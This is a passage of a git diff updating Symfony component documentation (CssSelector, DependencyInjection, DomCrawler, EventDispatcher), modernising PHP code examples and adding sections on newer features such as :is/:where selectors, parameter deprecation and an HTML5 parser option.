b/components/css_selector.rst index df9ddd84487..1331a11e616 100644 --- a/components/css_selector.rst +++ b/components/css_selector.rst @@ -1,7 +1,3 @@ -.. index:: - single: CssSelector - single: Components; CssSelector - The CssSelector Component ========================= @@ -25,8 +21,8 @@ Usage component in any PHP application. Read the :ref:`Symfony Functional Tests <functional-tests>` article to learn about how to use it when creating Symfony tests. -Why to Use CSS selectors? -~~~~~~~~~~~~~~~~~~~~~~~~~ +Why Use CSS selectors? +~~~~~~~~~~~~~~~~~~~~~~ When you're parsing an HTML or an XML document, by far the most powerful method is `XPath`_. @@ -40,7 +36,7 @@ long and unwieldy expressions. Many developers -- particularly web developers -- are more comfortable using CSS selectors to find elements. As well as working in stylesheets, CSS selectors are used in JavaScript with the ``querySelectorAll()`` function -and in popular JavaScript libraries such as jQuery, Prototype and MooTools. +and in popular JavaScript libraries such as jQuery. CSS selectors are less powerful than XPath, but far easier to write, read and understand. Since they are less powerful, almost all CSS selectors can @@ -96,7 +92,11 @@ Pseudo-classes are partially supported: * Not supported: ``*:first-of-type``, ``*:last-of-type``, ``*:nth-of-type`` and ``*:nth-last-of-type`` (all these work with an element name (e.g. ``li:first-of-type``) but not with the ``*`` selector). -* Supported: ``*:only-of-type``. +* Supported: ``*:only-of-type``, ``*:scope``, ``*:is`` and ``*:where``. + +.. versionadded:: 7.1 + + The support for ``*:is`` and ``*:where`` was introduced in Symfony 7.1. Learn more ---------- diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst index b303e96d484..d146f553a0c 100644 --- a/components/dependency_injection.rst +++ b/components/dependency_injection.rst @@ -1,7 +1,3 @@ -.. index:: - single: DependencyInjection - single: Components; DependencyInjection - The DependencyInjection Component ================================= @@ -35,7 +31,7 @@ you want to make available as a service:: class Mailer { - private $transport; + private string $transport; public function __construct() { @@ -49,8 +45,8 @@ You can register this in the container as a service:: use Symfony\Component\DependencyInjection\ContainerBuilder; - $containerBuilder = new ContainerBuilder(); - $containerBuilder->register('mailer', 'Mailer'); + $container = new ContainerBuilder(); + $container->register('mailer', 'Mailer'); An improvement to the class to make it more flexible would be to allow the container to set the ``transport`` used. If you change the class @@ -58,11 +54,9 @@ so this is passed into the constructor:: class Mailer { - private $transport; - - public function __construct($transport) - { - $this->transport = $transport; + public function __construct( + private string $transport, + ) { } // ... @@ -72,8 +66,8 @@ Then you can set the choice of transport in the container:: use Symfony\Component\DependencyInjection\ContainerBuilder; - $containerBuilder = new ContainerBuilder(); - $containerBuilder + $container = new ContainerBuilder(); + $container ->register('mailer', 'Mailer') ->addArgument('sendmail'); @@ -87,9 +81,9 @@ the ``Mailer`` service's constructor argument:: use Symfony\Component\DependencyInjection\ContainerBuilder; - $containerBuilder = new ContainerBuilder(); - $containerBuilder->setParameter('mailer.transport', 'sendmail'); - $containerBuilder + $container = new ContainerBuilder(); + $container->setParameter('mailer.transport', 'sendmail'); + $container ->register('mailer', 'Mailer') ->addArgument('%mailer.transport%'); @@ -99,11 +93,9 @@ like this:: class NewsletterManager { - private $mailer; - - public function __construct(\Mailer $mailer) - { - $this->mailer = $mailer; + public function __construct( + private \Mailer $mailer, + ) { } // ... @@ -116,14 +108,14 @@ not exist yet. Use the ``Reference`` class to tell the container to inject the use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Reference; - $containerBuilder = new ContainerBuilder(); + $container = new ContainerBuilder(); - $containerBuilder->setParameter('mailer.transport', 'sendmail'); - $containerBuilder + $container->setParameter('mailer.transport', 'sendmail'); + $container ->register('mailer', 'Mailer') ->addArgument('%mailer.transport%'); - $containerBuilder + $container ->register('newsletter_manager', 'NewsletterManager') ->addArgument(new Reference('mailer')); @@ -132,9 +124,9 @@ it was only optional then you could use setter injection instead:: class NewsletterManager { - private $mailer; + private \Mailer $mailer; - public function setMailer(\Mailer $mailer) + public function setMailer(\Mailer $mailer): void { $this->mailer = $mailer; } @@ -148,14 +140,14 @@ If you do want to though then the container can call the setter method:: use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Reference; - $containerBuilder = new ContainerBuilder(); + $container = new ContainerBuilder(); - $containerBuilder->setParameter('mailer.transport', 'sendmail'); - $containerBuilder + $container->setParameter('mailer.transport', 'sendmail'); + $container ->register('mailer', 'Mailer') ->addArgument('%mailer.transport%'); - $containerBuilder + $container ->register('newsletter_manager', 'NewsletterManager') ->addMethodCall('setMailer', [new Reference('mailer')]); @@ -164,11 +156,40 @@ like this:: use Symfony\Component\DependencyInjection\ContainerBuilder; + $container = new ContainerBuilder(); + + // ... + + $newsletterManager = $container->get('newsletter_manager'); + +Getting Services That Don't Exist +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +By default, when you try to get a service that doesn't exist, you see an exception. +You can override this behavior as follows:: + + use Symfony\Component\DependencyInjection\ContainerBuilder; + use Symfony\Component\DependencyInjection\ContainerInterface; + $containerBuilder = new ContainerBuilder(); // ... - $newsletterManager = $containerBuilder->get('newsletter_manager'); + // the second argument is optional and defines what to do when the service doesn't exist + $newsletterManager = $containerBuilder->get('newsletter_manager', ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE); + +These are all the possible behaviors: + +* ``ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE``: throws an exception + at compile time (this is the **default** behavior); +* ``ContainerInterface::RUNTIME_EXCEPTION_ON_INVALID_REFERENCE``: throws an + exception at runtime, when trying to access the missing service; +* ``ContainerInterface::NULL_ON_INVALID_REFERENCE``: returns ``null``; +* ``ContainerInterface::IGNORE_ON_INVALID_REFERENCE``: ignores the wrapping + command asking for the reference (for instance, ignore a setter if the service + does not exist); +* ``ContainerInterface::IGNORE_ON_UNINITIALIZED_REFERENCE``: ignores/returns + ``null`` for uninitialized services or invalid references. Avoiding your Code Becoming Dependent on the Container ------------------------------------------------------ @@ -202,8 +223,8 @@ Loading an XML config file:: use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Loader\XmlFileLoader; - $containerBuilder = new ContainerBuilder(); - $loader = new XmlFileLoader($containerBuilder, new FileLocator(__DIR__)); + $container = new ContainerBuilder(); + $loader = new XmlFileLoader($container, new FileLocator(__DIR__)); $loader->load('services.xml'); Loading a YAML config file:: @@ -212,8 +233,8 @@ Loading a YAML config file:: use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Loader\YamlFileLoader; - $containerBuilder = new ContainerBuilder(); - $loader = new YamlFileLoader($containerBuilder, new FileLocator(__DIR__)); + $container = new ContainerBuilder(); + $loader = new YamlFileLoader($container, new FileLocator(__DIR__)); $loader->load('services.yaml'); .. note:: @@ -237,8 +258,8 @@ into a separate config file and load it in a similar way:: use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Loader\PhpFileLoader; - $containerBuilder = new ContainerBuilder(); - $loader = new PhpFileLoader($containerBuilder, new FileLocator(__DIR__)); + $container = new ContainerBuilder(); + $loader = new PhpFileLoader($container, new FileLocator(__DIR__)); $loader->load('services.php'); You can now set up the ``newsletter_manager`` and ``mailer`` services using @@ -259,15 +280,16 @@ config files: newsletter_manager: class: NewsletterManager calls: - - setMailer: ['@mailer'] + - [setMailer, ['@mailer']] .. code-block:: xml <?xml version="1.0" encoding="UTF-8" ?> <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd"> - + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd" + > <parameters> <!-- ... --> <parameter key="mailer.transport">sendmail</parameter> @@ -290,21 +312,22 @@ config files: namespace Symfony\Component\DependencyInjection\Loader\Configurator; - return function(ContainerConfigurator $configurator) { - $configurator->parameters() + return static function (ContainerConfigurator $container): void { + $container->parameters() // ... ->set('mailer.transport', 'sendmail') ; - $services = $configurator->services(); + $services = $container->services(); + $services->set('mailer', 'Mailer') + ->args(['%mailer.transport%']) + ; $services->set('mailer', 'Mailer') - // the param() method was introduced in Symfony 5.2. ->args([param('mailer.transport')]) ; $services->set('newsletter_manager', 'NewsletterManager') - // In versions earlier to Symfony 5.1 the service() function was called ref() ->call('setMailer', [service('mailer')]) ; }; diff --git a/components/dependency_injection/_imports-parameters-note.rst.inc b/components/dependency_injection/_imports-parameters-note.rst.inc index 92868df1985..1389ca78fe3 100644 --- a/components/dependency_injection/_imports-parameters-note.rst.inc +++ b/components/dependency_injection/_imports-parameters-note.rst.inc @@ -2,7 +2,7 @@ Due to the way in which parameters are resolved, you cannot use them to build paths in imports dynamically. This means that something like - the following doesn't work: + **the following does not work:** .. configuration-block:: @@ -19,8 +19,8 @@ <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> - + https://symfony.com/schema/dic/services/services-1.0.xsd" + > <imports> <import resource="%kernel.project_dir%/somefile.yaml"/> </imports> @@ -29,4 +29,8 @@ .. code-block:: php // config/services.php - $loader->import('%kernel.project_dir%/somefile.yaml'); + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + return static function (ContainerConfigurator $container): void { + $container->import('%kernel.project_dir%/somefile.yaml'); + }; diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst index 8f50b2b0d0c..c79281b5c27 100644 --- a/components/dependency_injection/compilation.rst +++ b/components/dependency_injection/compilation.rst @@ -1,6 +1,3 @@ -.. index:: - single: DependencyInjection; Compilation - Compiling the Container ======================= @@ -64,7 +61,7 @@ A very simple extension may just load configuration files into the container:: class AcmeDemoExtension implements ExtensionInterface { - public function load(array $configs, ContainerBuilder $container) + public function load(array $configs, ContainerBuilder $container): void { $loader = new XmlFileLoader( $container, @@ -93,7 +90,7 @@ The Extension must specify a ``getAlias()`` method to implement the interface:: { // ... - public function getAlias() + public function getAlias(): string { return 'acme_demo'; } @@ -117,14 +114,14 @@ are loaded:: use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Loader\YamlFileLoader; - $containerBuilder = new ContainerBuilder(); - $containerBuilder->registerExtension(new AcmeDemoExtension); + $container = new ContainerBuilder(); + $container->registerExtension(new AcmeDemoExtension); - $loader = new YamlFileLoader($containerBuilder, new FileLocator(__DIR__)); + $loader = new YamlFileLoader($container, new FileLocator(__DIR__)); $loader->load('config.yaml'); // ... - $containerBuilder->compile(); + $container->compile(); .. note:: @@ -135,7 +132,7 @@ are loaded:: The values from those sections of the config files are passed into the first argument of the ``load()`` method of the extension:: - public function load(array $configs, ContainerBuilder $container) + public function load(array $configs, ContainerBuilder $container): void { $foo = $configs[0]['foo']; //fooValue $bar = $configs[0]['bar']; //barValue @@ -153,7 +150,7 @@ will look like this:: ], ] -Whilst you can manually manage merging the different files, it is much better +While you can manually manage merging the different files, it is much better to use :doc:`the Config component </components/config>` to merge and validate the config values. Using the configuration processing you could access the config value this way:: @@ -161,7 +158,7 @@ you could access the config value this way:: use Symfony\Component\Config\Definition\Processor; // ... - public function load(array $configs, ContainerBuilder $container) + public function load(array $configs, ContainerBuilder $container): void { $configuration = new Configuration(); $processor = new Processor(); @@ -178,12 +175,12 @@ namespace so that the relevant parts of an XML config file are passed to the extension. The other to specify the base path to XSD files to validate the XML configuration:: - public function getXsdValidationBasePath() + public function getXsdValidationBasePath(): string { return __DIR__.'/../Resources/config/'; } - public function getNamespace() + public function getNamespace(): string { return 'http://www.example.com/symfony/schema/'; } @@ -197,16 +194,19 @@ The XML version of the config would then look like this: .. code-block:: xml - <?xml version="1.0" ?> + <?xml version="1.0" encoding="UTF-8" ?> <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:acme_demo="http://www.example.com/symfony/schema/" - xsi:schemaLocation="http://www.example.com/symfony/schema/ https://www.example.com/symfony/schema/hello-1.0.xsd"> - - <acme_demo:config> + xmlns:acme-demo="http://www.example.com/schema/dic/acme_demo" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://www.example.com/schema/dic/acme_demo + https://www.example.com/schema/dic/acme_demo/acme_demo-1.0.xsd" + > + <acme-demo:config> <acme_demo:foo>fooValue</acme_demo:foo> <acme_demo:bar>barValue</acme_demo:bar> - </acme_demo:config> + </acme-demo:config> </container> .. note:: @@ -219,7 +219,7 @@ The processed config value can now be added as container parameters as if it were listed in a ``parameters`` section of the config file but with the additional benefit of merging multiple files and validation of the configuration:: - public function load(array $configs, ContainerBuilder $container) + public function load(array $configs, ContainerBuilder $container): void { $configuration = new Configuration(); $processor = new Processor(); @@ -234,7 +234,7 @@ More complex configuration requirements can be catered for in the Extension classes. For example, you may choose to load a main service configuration file but also load a secondary one only if a certain parameter is set:: - public function load(array $configs, ContainerBuilder $container) + public function load(array $configs, ContainerBuilder $container): void { $configuration = new Configuration(); $processor = new Processor(); @@ -251,6 +251,33 @@ file but also load a secondary one only if a certain parameter is set:: } } +You can also deprecate container parameters in your extension to warn users +about not using them anymore. This helps with the migration across major versions +of an extension. + +Deprecation is only possible when using PHP to configure the extension, not when +using XML or YAML. Use the ``ContainerBuilder::deprecateParameter()`` method to +provide the deprecation details:: + + public function load(array $configs, ContainerBuilder $containerBuilder) + { + // ... + + $containerBuilder->setParameter('acme_demo.database_user', $configs['db_user']); + + $containerBuilder->deprecateParameter( + 'acme_demo.database_user', + 'acme/database-package', + '1.3', + // optionally you can set a custom deprecation message + '"acme_demo.database_user" is deprecated, you should configure database credentials with the "acme_demo.database_dsn" parameter instead.' + ); + } + +The parameter being deprecated must be set before being declared as deprecated. +Otherwise a :class:`Symfony\\Component\\DependencyInjection\\Exception\\ParameterNotFoundException` +exception will be thrown. + .. note:: Just registering an extension with the container is not enough to get @@ -263,11 +290,11 @@ file but also load a secondary one only if a certain parameter is set:: use Symfony\Component\DependencyInjection\ContainerBuilder; - $containerBuilder = new ContainerBuilder(); + $container = new ContainerBuilder(); $extension = new AcmeDemoExtension(); - $containerBuilder->registerExtension($extension); - $containerBuilder->loadFromExtension($extension->getAlias()); - $containerBuilder->compile(); + $container->registerExtension($extension); + $container->loadFromExtension($extension->getAlias()); + $container->compile(); .. note:: @@ -292,7 +319,7 @@ method is called by implementing { // ... - public function prepend(ContainerBuilder $container) + public function prepend(ContainerBuilder $container): void { // ... @@ -323,7 +350,7 @@ compilation:: class AcmeDemoExtension implements ExtensionInterface, CompilerPassInterface { - public function process(ContainerBuilder $container) + public function process(ContainerBuilder $container): void { // ... do something during the compilation } @@ -358,8 +385,8 @@ methods described in :doc:`/service_container/definitions`. method call if some required service is not available. A common use-case of compiler passes is to search for all service definitions -that have a certain tag in order to process dynamically plug each into some -other service. See the section on :ref:`service tags <service-container-compiler-pass-tags>` +that have a certain tag, in order to dynamically plug each one into other services. +See the section on :ref:`service tags <service-container-compiler-pass-tags>` for an example. .. _components-di-separate-compiler-passes: @@ -377,7 +404,7 @@ class implementing the ``CompilerPassInterface``:: class CustomPass implements CompilerPassInterface { - public function process(ContainerBuilder $container) + public function process(ContainerBuilder $container): void { // ... do something during the compilation } @@ -387,8 +414,8 @@ You then need to register your custom pass with the container:: use Symfony\Component\DependencyInjection\ContainerBuilder; - $containerBuilder = new ContainerBuilder(); - $containerBuilder->addCompilerPass(new CustomPass()); + $container = new ContainerBuilder(); + $container->addCompilerPass(new CustomPass()); .. note:: @@ -418,7 +445,7 @@ For example, to run your custom pass after the default removal passes have been run, use:: // ... - $containerBuilder->addCompilerPass( + $container->addCompilerPass( new CustomPass(), PassConfig::TYPE_AFTER_REMOVING ); @@ -460,14 +487,23 @@ serves at dumping the compiled container:: require_once $file; $container = new ProjectServiceContainer(); } else { - $containerBuilder = new ContainerBuilder(); + $container = new ContainerBuilder(); // ... - $containerBuilder->compile(); + $container->compile(); - $dumper = new PhpDumper($containerBuilder); + $dumper = new PhpDumper($container); file_put_contents($file, $dumper->dump()); } +.. tip:: + + The ``file_put_contents()`` function is not atomic. This can cause issues in + production environments with multiple concurrent requests. Instead, use the + :ref:`dumpFile() method <filesystem-dumpfile>` from the + :doc:`Filesystem component </components/filesystem>` or other atomic methods + provided by Symfony (e.g. the ``$containerConfigCache->write()`` method from + the :doc:`Config component </components/config>`). + ``ProjectServiceContainer`` is the default name given to the dumped container class. However, you can change this with the ``class`` option when you dump it:: @@ -479,11 +515,11 @@ dump it:: require_once $file; $container = new MyCachedContainer(); } else { - $containerBuilder = new ContainerBuilder(); + $container = new ContainerBuilder(); // ... - $containerBuilder->compile(); + $container->compile(); - $dumper = new PhpDumper($containerBuilder); + $dumper = new PhpDumper($container); file_put_contents( $file, $dumper->dump(['class' => 'MyCachedContainer']) @@ -511,12 +547,12 @@ application:: require_once $file; $container = new MyCachedContainer(); } else { - $containerBuilder = new ContainerBuilder(); + $container = new ContainerBuilder(); // ... - $containerBuilder->compile(); + $container->compile(); if (!$isDebug) { - $dumper = new PhpDumper($containerBuilder); + $dumper = new PhpDumper($container); file_put_contents( $file, $dumper->dump(['class' => 'MyCachedContainer']) @@ -546,14 +582,14 @@ for these resources and use them as metadata for the cache:: $containerConfigCache = new ConfigCache($file, $isDebug); if (!$containerConfigCache->isFresh()) { - $containerBuilder = new ContainerBuilder(); + $container = new ContainerBuilder(); // ... - $containerBuilder->compile(); + $container->compile(); - $dumper = new PhpDumper($containerBuilder); + $dumper = new PhpDumper($container); $containerConfigCache->write( $dumper->dump(['class' => 'MyCachedContainer']), - $containerBuilder->getResources() + $container->getResources() ); } @@ -564,11 +600,33 @@ Now the cached dumped container is used regardless of whether debug mode is on or not. The difference is that the ``ConfigCache`` is set to debug mode with its second constructor argument. When the cache is not in debug mode the cached container will always be used if it exists. In debug mode, -an additional metadata file is written with the timestamps of all the resource -files. These are then checked to see if the files have changed, if they +an additional metadata file is written with all the involved resource +files. These are then checked to see if their timestamps have changed, if they have the cache will be considered stale. .. note:: In the full-stack framework the compilation and caching of the container is taken care of for you. + +.. _resolving-env-vars-at-compile-time: + +Resolving Environment Variable At Compile Time +---------------------------------------------- + +.. warning:: + + **This practice is discouraged**. Use it only if you fully understand the implications. + +By default, environment variables are resolved at runtime. However, you can +force their resolution at compile time using the following code:: + + $parameterValue = $container->resolveEnvPlaceholders( + $container->getParameter('%env(ENV_VAR_NAME)%'), + true // resolve to actual values + ); + +However, a **major drawback** of this approach is that you must manually clear +the cache when changing the value of an environment variable. This goes +against the typical behavior of environment variables, which are designed +to be dynamic and not require cache invalidation. diff --git a/components/dependency_injection/workflow.rst b/components/dependency_injection/workflow.rst index 750420f4d47..777b41dfabb 100644 --- a/components/dependency_injection/workflow.rst +++ b/components/dependency_injection/workflow.rst @@ -1,6 +1,3 @@ -.. index:: - single: DependencyInjection; Workflow - Container Building Workflow =========================== @@ -21,11 +18,11 @@ Working with a Cached Container ------------------------------- Before building it, the kernel checks to see if a cached version of the -container exists. The HttpKernel has a debug setting and if this is false, +container exists. The kernel has a debug setting and if this is false, the cached version is used if it exists. If debug is true then the kernel :doc:`checks to see if configuration is fresh </components/config/caching>` and if it is, the cached version of the container is used. If not then the -container is built from the application-level configuration and the bundles's +container is built from the application-level configuration and the bundles' extension configuration. Read :ref:`Dumping the Configuration for Performance <components-dependency-injection-dumping>` diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst index 55b5d8bc23f..630d301302a 100644 --- a/components/dom_crawler.rst +++ b/components/dom_crawler.rst @@ -1,7 +1,3 @@ -.. index:: - single: DomCrawler - single: Components; DomCrawler - The DomCrawler Component ======================== @@ -70,13 +66,6 @@ tree. isn't meant to dump content, you can see the "fixed" version of your HTML by :ref:`dumping it <component-dom-crawler-dumping>`. -.. note:: - - If you need better support for HTML5 contents or want to get rid of the - inconsistencies of PHP's DOM extension, install the `html5-php library`_. - The DomCrawler component will use it automatically when the content has - an HTML5 doctype. - Node Filtering ~~~~~~~~~~~~~~ @@ -100,9 +89,9 @@ An anonymous function can be used to filter with more complex criteria:: $crawler = $crawler ->filter('body > p') - ->reduce(function (Crawler $node, $i) { + ->reduce(function (Crawler $node, $i): bool { // filters every other node - return ($i % 2) == 0; + return ($i % 2) === 0; }); To remove a node, the anonymous function must return ``false``. @@ -122,7 +111,7 @@ Consider the XML below: .. code-block:: xml - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <entry xmlns="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" @@ -187,10 +176,10 @@ Get the same level nodes after or before the current selection:: $crawler->filter('body > p')->nextAll(); $crawler->filter('body > p')->previousAll(); -Get all the child or parent nodes:: +Get all the child or ancestor nodes:: $crawler->filter('body')->children(); - $crawler->filter('body > p')->parents(); + $crawler->filter('body > p')->ancestors(); Get all the direct child nodes matching a CSS selector:: @@ -221,15 +210,36 @@ Access the value of the first node of the current selection:: // avoid the exception passing an argument that text() returns when node does not exist $message = $crawler->filterXPath('//body/p')->text('Default text content'); - // by default, text() trims white spaces, including the internal ones + // by default, text() trims whitespace characters, including the internal ones // (e.g. " foo\n bar baz \n " is returned as "foo bar baz") // pass FALSE as the second argument to return the original text unchanged $crawler->filterXPath('//body/p')->text('Default text content', false); + // innerText() is similar to text() but returns only text that is a direct + // descendant of the current node, excluding text from child nodes + $text = $crawler->filterXPath('//body/p')->innerText(); + // if content is <p>Foo <span>Bar</span></p> or <p><span>Bar</span> Foo</p> + // innerText() returns 'Foo' in both cases; and text() returns 'Foo Bar' and 'Bar Foo' respectively + + // if there are multiple text nodes, between other child nodes, like + // <p>Foo <span>Bar</span> Baz</p> + // innerText() returns only the first text node 'Foo' + + // like text(), innerText() also trims whitespace characters by default, + // but you can get the unchanged text by passing FALSE as argument + $text = $crawler->filterXPath('//body/p')->innerText(false); + Access the attribute value of the first node of the current selection:: $class = $crawler->filterXPath('//body/p')->attr('class'); +.. tip:: + + You can define the default value to use if the node or attribute is empty + by using the second argument of the ``attr()`` method:: + + $class = $crawler->filterXPath('//body/p')->attr('class', 'my-default-class'); + Extract attribute and/or node values from the list of nodes:: $attributes = $crawler @@ -247,7 +257,7 @@ Call an anonymous function on each node of the list:: use Symfony\Component\DomCrawler\Crawler; // ... - $nodeValues = $crawler->filter('p')->each(function (Crawler $node, $i) { + $nodeValues = $crawler->filter('p')->each(function (Crawler $node, $i): string { return $node->text(); }); @@ -257,7 +267,7 @@ The result is an array of values returned by the anonymous function calls. When using nested crawler, beware that ``filterXPath()`` is evaluated in the context of the crawler:: - $crawler->filterXPath('parent')->each(function (Crawler $parentCrawler, $i) { + $crawler->filterXPath('parent')->each(function (Crawler $parentCrawler, $i): void { // DON'T DO THIS: direct child can not be found $subCrawler = $parentCrawler->filterXPath('sub-tag/sub-child-tag'); @@ -269,7 +279,9 @@ context of the crawler:: Adding the Content ~~~~~~~~~~~~~~~~~~ -The crawler supports multiple ways of adding the content:: +The crawler supports multiple ways of adding the content, but they are mutually +exclusive, so you can only use one of them to add content (e.g. if you pass the +content to the ``Crawler`` constructor, you can't call ``addContent()`` later):: $crawler = new Crawler('<html><body/></html>'); @@ -518,15 +530,17 @@ You can virtually set and get values on the form:: // where "registration" is its own array $values = $form->getPhpValues(); -To work with multi-dimensional fields:: +To work with multi-dimensional fields: + +.. code-block:: html <form> - <input name="multi[]"/> - <input name="multi[]"/> - <input name="multi[dimensional]"/> - <input name="multi[dimensional][]" value="1"/> - <input name="multi[dimensional][]" value="2"/> - <input name="multi[dimensional][]" value="3"/> + <input name="multi[]"> + <input name="multi[]"> + <input name="multi[dimensional]"> + <input name="multi[dimensional][]" value="1"> + <input name="multi[dimensional][]" value="2"> + <input name="multi[dimensional][]" value="3"> </form> Pass an array of values:: @@ -625,11 +639,7 @@ the whole form or specific field(s):: Resolving a URI ~~~~~~~~~~~~~~~ -.. versionadded:: 5.1 - - The :class:`Symfony\\Component\\DomCrawler\\UriResolver` helper class was added in Symfony 5.1. - -The :class:`Symfony\\Component\\DomCrawler\\UriResolver` class takes an URI +The :class:`Symfony\\Component\\DomCrawler\\UriResolver` class takes a URI (relative, absolute, fragment, etc.) and turns it into an absolute URI against another given base URI:: @@ -639,10 +649,23 @@ another given base URI:: UriResolver::resolve('?a=b', 'http://localhost/bar#foo'); // http://localhost/bar?a=b UriResolver::resolve('../../', 'http://localhost/'); // http://localhost/ +Using a HTML5 Parser +~~~~~~~~~~~~~~~~~~~~ + +If you need the :class:`Symfony\\Component\\DomCrawler\\Crawler` to use an HTML5 +parser, set its ``useHtml5Parser`` constructor argument to ``true``:: + + use Symfony\Component\DomCrawler\Crawler; + + $crawler = new Crawler(null, $uri, useHtml5Parser: true); + +By doing so, the crawler will use the HTML5 parser provided by the `masterminds/html5`_ +library to parse the documents. + Learn more ---------- * :doc:`/testing` * :doc:`/components/css_selector` -.. _`html5-php library`: https://github.com/Masterminds/html5-php +.. _`masterminds/html5`: https://packagist.org/packages/masterminds/html5 diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst index 57b73c7b7f3..62a3707bb39 100644 --- a/components/event_dispatcher.rst +++ b/components/event_dispatcher.rst @@ -1,7 +1,3 @@ -.. index:: - single: EventDispatcher - single: Components; EventDispatcher - The EventDispatcher Component ============================= @@ -32,7 +28,7 @@ truly extensible. Take an example from :doc:`the HttpKernel component </components/http_kernel>`. Once a ``Response`` object has been created, it may be useful to allow other elements in the system to modify it (e.g. add some cache headers) before -it's actually used. To make this possible, the Symfony kernel throws an +it's actually used. To make this possible, the Symfony kernel dispatches an event - ``kernel.response``. Here's how it works: * A *listener* (PHP object) tells a central *dispatcher* object that it @@ -46,9 +42,6 @@ event - ``kernel.response``. Here's how it works: ``kernel.response`` event, allowing each of them to make modifications to the ``Response`` object. -.. index:: - single: EventDispatcher; Events - Installation ------------ @@ -76,23 +69,6 @@ An :class:`Symfony\\Contracts\\EventDispatcher\\Event` instance is also created and passed to all of the listeners. As you'll see later, the ``Event`` object itself often contains data about the event being dispatched. -.. index:: - pair: EventDispatcher; Naming conventions - -Naming Conventions -.................. - -The unique event name can be any string, but optionally follows a few -naming conventions: - -* Use only lowercase letters, numbers, dots (``.``) and underscores (``_``); -* Prefix names with a namespace followed by a dot (e.g. ``order.*``, ``user.*``); -* End names with a verb that indicates what action has been taken (e.g. - ``order.placed``). - -.. index:: - single: EventDispatcher; Event subclasses - Event Names and Event Objects ............................. @@ -126,9 +102,6 @@ listeners registered with that event:: $dispatcher = new EventDispatcher(); -.. index:: - single: EventDispatcher; Listeners - Connecting Listeners ~~~~~~~~~~~~~~~~~~~~ @@ -163,7 +136,7 @@ The ``addListener()`` method takes up to three arguments: use Symfony\Contracts\EventDispatcher\Event; - $dispatcher->addListener('acme.foo.action', function (Event $event) { + $dispatcher->addListener('acme.foo.action', function (Event $event): void { // will be executed when the acme.foo.action event is dispatched }); @@ -178,7 +151,7 @@ the ``Event`` object as the single argument:: { // ... - public function onFooAction(Event $event) + public function onFooAction(Event $event): void { // ... do something } @@ -198,26 +171,25 @@ determine which instance is passed. use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\ParameterBag\ParameterBag; - use Symfony\Component\DependencyInjection\Reference; use Symfony\Component\EventDispatcher\DependencyInjection\RegisterListenersPass; use Symfony\Component\EventDispatcher\EventDispatcher; - $containerBuilder = new ContainerBuilder(new ParameterBag()); + $container = new ContainerBuilder(new ParameterBag()); // register the compiler pass that handles the 'kernel.event_listener' // and 'kernel.event_subscriber' service tags - $containerBuilder->addCompilerPass(new RegisterListenersPass()); + $container->addCompilerPass(new RegisterListenersPass()); - $containerBuilder->register('event_dispatcher', EventDispatcher::class); + $container->register('event_dispatcher', EventDispatcher::class); // registers an event listener - $containerBuilder->register('listener_service_id', \AcmeListener::class) + $container->register('listener_service_id', \AcmeListener::class) ->addTag('kernel.event_listener', [ 'event' => 'acme.foo.action', 'method' => 'onFooAction', ]); // registers an event subscriber - $containerBuilder->register('subscriber_service_id', \AcmeSubscriber::class) + $container->register('subscriber_service_id', \AcmeSubscriber::class) ->addTag('kernel.event_subscriber'); ``RegisterListenersPass`` resolves aliased class names which for instance @@ -229,21 +201,20 @@ determine which instance is passed. use Symfony\Component\DependencyInjection\Compiler\PassConfig; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\ParameterBag\ParameterBag; - use Symfony\Component\DependencyInjection\Reference; use Symfony\Component\EventDispatcher\DependencyInjection\AddEventAliasesPass; use Symfony\Component\EventDispatcher\DependencyInjection\RegisterListenersPass; use Symfony\Component\EventDispatcher\EventDispatcher; - $containerBuilder = new ContainerBuilder(new ParameterBag()); - $containerBuilder->addCompilerPass(new AddEventAliasesPass([ + $container = new ContainerBuilder(new ParameterBag()); + $container->addCompilerPass(new AddEventAliasesPass([ \AcmeFooActionEvent::class => 'acme.foo.action', ])); - $containerBuilder->addCompilerPass(new RegisterListenersPass(), PassConfig::TYPE_BEFORE_REMOVING) + $container->addCompilerPass(new RegisterListenersPass(), PassConfig::TYPE_BEFORE_REMOVING); - $containerBuilder->register('event_dispatcher', EventDispatcher::class); + $container->register('event_dispatcher', EventDispatcher::class); // registers an event listener - $containerBuilder->register('listener_service_id', \AcmeListener::class) + $container->register('listener_service_id', \AcmeListener::class) ->addTag('kernel.event_listener', [ // will be translated to 'acme.foo.action' by RegisterListenersPass. 'event' => \AcmeFooActionEvent::class, @@ -254,19 +225,14 @@ determine which instance is passed. Note that ``AddEventAliasesPass`` has to be processed before ``RegisterListenersPass``. - By default, the listeners pass assumes that the event dispatcher's service + The listeners pass assumes that the event dispatcher's service id is 